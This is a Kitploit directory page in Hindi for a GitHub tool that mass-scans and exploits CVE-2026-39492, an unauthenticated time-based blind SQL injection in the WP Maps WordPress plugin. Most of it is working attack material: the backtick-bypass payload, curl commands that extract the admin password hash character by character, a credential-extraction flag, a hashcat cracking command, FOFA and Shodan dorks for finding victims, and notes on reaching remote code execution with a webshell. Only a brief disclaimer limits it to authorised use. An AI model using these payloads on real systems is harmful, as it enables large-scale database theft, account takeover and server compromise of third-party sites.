Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/shinthink/cve-2026-39492
भेद्यता स्कैनरशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंग
GitHubshinthink/cve-2026-39492

CVE-2026-39492

CVE-2026-39492 — WP Maps (wp-google-map-plugin) <= 4.9.1 अनप्रमाणित ब्लाइंड SQL इंजेक्शन मास स्कैनर | sqlmap-शैली का पता लगाना | बैकटिक बाईपास esc_sql() | 100K+ इंस्टॉल

रिपॉजिटरी देखें
112 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-39492 — WP Maps ब्लाइंड SQL इंजेक्शन स्कैनर

प्री-प्रमाणीकरण समय-आधारित ब्लाइंड SQLi बैकटिक बाइपास के माध्यम से → DB निष्कर्षण


अवलोकन

CVE-2026-39492 WP Maps प्लगइन (wp-google-map-plugin) के ≤ 4.9.1 संस्करणों में एक गंभीर-गंभीरता (CVSS 9.3) अप्रमाणित ब्लाइंड SQL इंजेक्शन भेद्यता है।

wpgmp_ajax_call AJAX हैंडलर अप्रमाणित पहुँच के लिए wp_ajax_nopriv_ के माध्यम से पंजीकृत है। पैरामीटर से गुज़रता है — एक फ़ंक्शन जो को एक विश्वसनीय SQL कॉलम पहचानकर्ता के रूप में गलत तरीके से व्यवहार करता है, WordPress के सैनिटाइज़ेशन को पूरी तरह से बायपास करता है।

location_id
FlipperCode_Model_Base::is_column()
बैकटिक-लिपटे इनपुट
esc_sql()

प्रभावित संस्करण

WP Maps संस्करणस्थिति
≤ 4.9.1कमजोर
≥ 4.9.2पैच किया गया

सक्रिय इंस्टॉल: 100,000+


भेद्यता तंत्र

मूल कारण

प्लगइन के डेटाबेस एब्स्ट्रक्शन लेयर में, is_column() जाँचता है कि क्या उपयोगकर्ता इनपुट बैकटिक में लिपटा है:

root@kitploit:~
// कमजोर: बैकटिक-लिपटे इनपुट को विश्वसनीय कॉलम पहचानकर्ता माना जाता है
function is_column($value) {
    if (preg_match('/^`.*`$/', $value)) {
        return true;  // esc_sql() को पूरी तरह से बायपास करता है!
    }
    return false;
}

जब is_column() true लौटाता है, तो इनपुट बिना esc_sql() एस्केपिंग के सीधे SQL क्वेरी में भेज दिया जाता है। यह अनुमति देता है:

root@kitploit:~
location_id=`1` AND SLEEP(5) AND `1`=`1`

हमले का प्रवाह

root@kitploit:~
1. readme.txt के माध्यम से WP Maps का पता लगाएँ → संस्करण निकालें
2. /wp-admin/admin-ajax.php?action=wpgmp_ajax_call पर POST करें
3. location_id पैरामीटर में बैकटिक-लिपटे पेलोड इंजेक्ट करें
4. प्रतिक्रिया समय मापें — SLEEP(N) SQL इंजेक्शन की पुष्टि करता है
5. बुलियन/समय-आधारित ब्लाइंड तकनीक के माध्यम से डेटा निकालें

CVSS 9.3 क्यों

मीट्रिकमान
आक्रमण वेक्टरनेटवर्क
आक्रमण जटिलताकम
आवश्यक विशेषाधिकारकोई नहीं
उपयोगकर्ता सहभागिताकोई नहीं
दायराबदला गया (पूरे DB को प्रभावित करता है)
गोपनीयताउच्च
अखंडताकोई नहीं
उपलब्धताकम

स्थापना

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-39492.git
cd CVE-2026-39492
pip install -r requirements.txt

उपयोग

root@kitploit:~
# एकल लक्ष्य का पता लगाना
python cve_2026_39492.py -t target.com

# सामूहिक स्कैन
python cve_2026_39492.py -f targets.txt

# सामूहिक स्कैन + परिणाम सहेजें
python cve_2026_39492.py -f targets.txt -o sqli.txt

# एकल लक्ष्य जिसमें क्रेडेंशियल निष्कर्षण
python cve_2026_39492.py -t target.com --extract -v

# विस्तृत आउटपुट
python cve_2026_39492.py -t target.com -v

तर्क

root@kitploit:~
  -t, --target      एकल लक्ष्य (डोमेन या IP)
  -f, --file        लक्ष्य सूची, प्रति पंक्ति एक
  -o, --output      कमजोर लक्ष्यों को फ़ाइल में सहेजें
  --threads         समवर्ती कार्यकर्ता (डिफ़ॉल्ट: 20)
  --extract         पुष्टिकृत लक्ष्यों से व्यवस्थापक क्रेडेंशियल निकालें
  -v, --verbose     विस्तृत आउटपुट दिखाएँ

प्रूफ ऑफ कॉन्सेप्ट

एकल लक्ष्य

root@kitploit:~
$ python cve_2026_39492.py -t target.com -v
root@kitploit:~
  CVE-2026-39492 — WP Maps ब्लाइंड SQL इंजेक्शन स्कैनर
  CVSS 9.3 | प्री-प्रमाणीकरण | wpgmp_ajax_call → बैकटिक बाइपास

  लक्ष्य: WP Maps (wp-google-map-plugin) <= 4.9.1
  वेक्टर: admin-ajax.php?action=wpgmp_ajax_call → location_id
  बाइपास: बैकटिक-लिपटे इनपुट esc_sql() को बायपास करता है

    [+] WP Maps का पता चला: v4.9.0
    [*] SQLi परीक्षण: 6.2s (थ्रेसहोल्ड: 5s)
    [+] ब्लाइंड SQLi की पुष्टि हुई (प्रतिक्रिया: 6.2s)

  होस्ट        : target.com
  WP Maps     : हाँ v4.9.0
  SQLi        : हाँ
  प्रतिक्रिया समय   : 6.2s
  समय        : 7.1s

क्रेडेंशियल निष्कर्षण के साथ

root@kitploit:~
$ python cve_2026_39492.py -t target.com --extract -v
root@kitploit:~
    [+] ब्लाइंड SQLi की पुष्टि हुई (प्रतिक्रिया: 5.8s)
    [*] ब्लाइंड SQLi के माध्यम से व्यवस्थापक क्रेडेंशियल निकाला जा रहा है...
    [*] निकाला जा रहा है: admin_user
    [*] निकाला जा रहा है: $P$BqVg...

  व्यवस्थापक उपयोगकर्ता  : admin_user
  व्यवस्थापक हैश  : $P$BqVg7xX...

सामूहिक स्कैन

root@kitploit:~
  CVE-2026-39492  WP Maps ब्लाइंड SQLi स्कैनर
  लक्ष्य: 2500 | थ्रेड: 20
  वेक्टर: wpgmp_ajax_call → location_id बैकटिक बाइपास
  ───────────────────────────────────────────────────────

  [SQLi]    target-vuln.com                                 6.2s  v4.9.0       प्रतिक्रिया:6.2s
  [SQLi]    wp-maps-site.com                                5.8s  v4.8.5       प्रतिक्रिया:5.8s
  [500/2500] 20%  |  WP Maps:47  SQLi:12  |  current-target.com

  ───────────────────────────────────────────────────────
  स्कैन पूर्ण  |  समय: 320s
  ───────────────────────────────────────────────────────
  लक्ष्य        : 2500
  WP Maps मिले  : 47
  SQLi पुष्टि  : 12

मैनुअल शोषण

चरण 1 — प्लगइन का पता लगाएँ

root@kitploit:~
curl -sk 'https://target.com/wp-content/plugins/wp-google-map-plugin/readme.txt' | head -5

चरण 2 — SLEEP के साथ SQLi का परीक्षण करें

root@kitploit:~
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=wpgmp_ajax_call' \
  -d 'location_id=`1` AND SLEEP(5) AND `1`=`1'

# प्रतिक्रिया > 5 सेकंड → कमजोर

चरण 3 — ब्लाइंड SQLi के माध्यम से व्यवस्थापक हैश निकालें

root@kitploit:~
# व्यवस्थापक हैश का पहला वर्ण जाँचें
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=wpgmp_ajax_call' \
  -d 'location_id=`1` AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(3),0) AND `1`=`1'

# प्रतिक्रिया > 3 सेकंड → पहला वर्ण ASCII 36 = '$'

चरण 4 — हैश क्रैक करें और लॉगिन करें → पूर्ण RCE

root@kitploit:~
hashcat -m 400 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt

FOFA डॉर्क

root@kitploit:~
body="wp-google-map-plugin"

Shodan

root@kitploit:~
http.html:"wp-google-map-plugin"

प्रभाव

सफल शोषण पूरे WordPress डेटाबेस को निकालने की अनुमति देता है:

  • व्यवस्थापक पासवर्ड हैश → क्रैक → व्यवस्थापक लॉगिन → प्लगइन अपलोड → RCE
  • उपयोगकर्ता PII, ईमेल, सत्र टोकन
  • wp_options में संग्रहीत API कुंजियाँ
  • यदि MySQL FILE विशेषाधिकार मौजूद है: SELECT ... INTO OUTFILE → वेबशेल → प्रत्यक्ष RCE

अस्वीकरण

केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।

यह सॉफ्टवेयर अधिकृत प्रवेश परीक्षण करने वाले सुरक्षा पेशेवरों, अपने स्वयं के बुनियादी ढांचे का ऑडिट करने वाले संगठनों, और भेद्यता शोषण का अध्ययन करने वाले शोधकर्ताओं के लिए है।

कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है और इसका उल्लंघन हो सकता है:

  • संयुक्त राज्य अमेरिका: कंप्यूटर धोखाधड़ी और दुरुपयोग अधिनियम (18 यू.एस.सी. 1030)
  • इंडोनेशिया: UU ITE धारा 30 और 46
  • यूरोपीय संघ: निर्देश 2013/40/EU
  • यूनाइटेड किंगडम: कंप्यूटर दुरुपयोग अधिनियम 1990

लेखक किसी भी दुरुपयोग के लिए कोई देयता नहीं मानते।


संदर्भ

संसाधनलिंक
IONIX सलाहionix.io/threat-center/cve-2026-39492
WPScan सलाहwpscan.com/vulnerability/c1f19d2e
Wordfence सलाहwordfence.com
NVD प्रविष्टिCVE-2026-39492
प्लगइन Tracwp-google-map-plugin

यह प्रोजेक्ट Flipper Code या WP Maps से संबद्ध नहीं है।

टूल डाउनलोड करें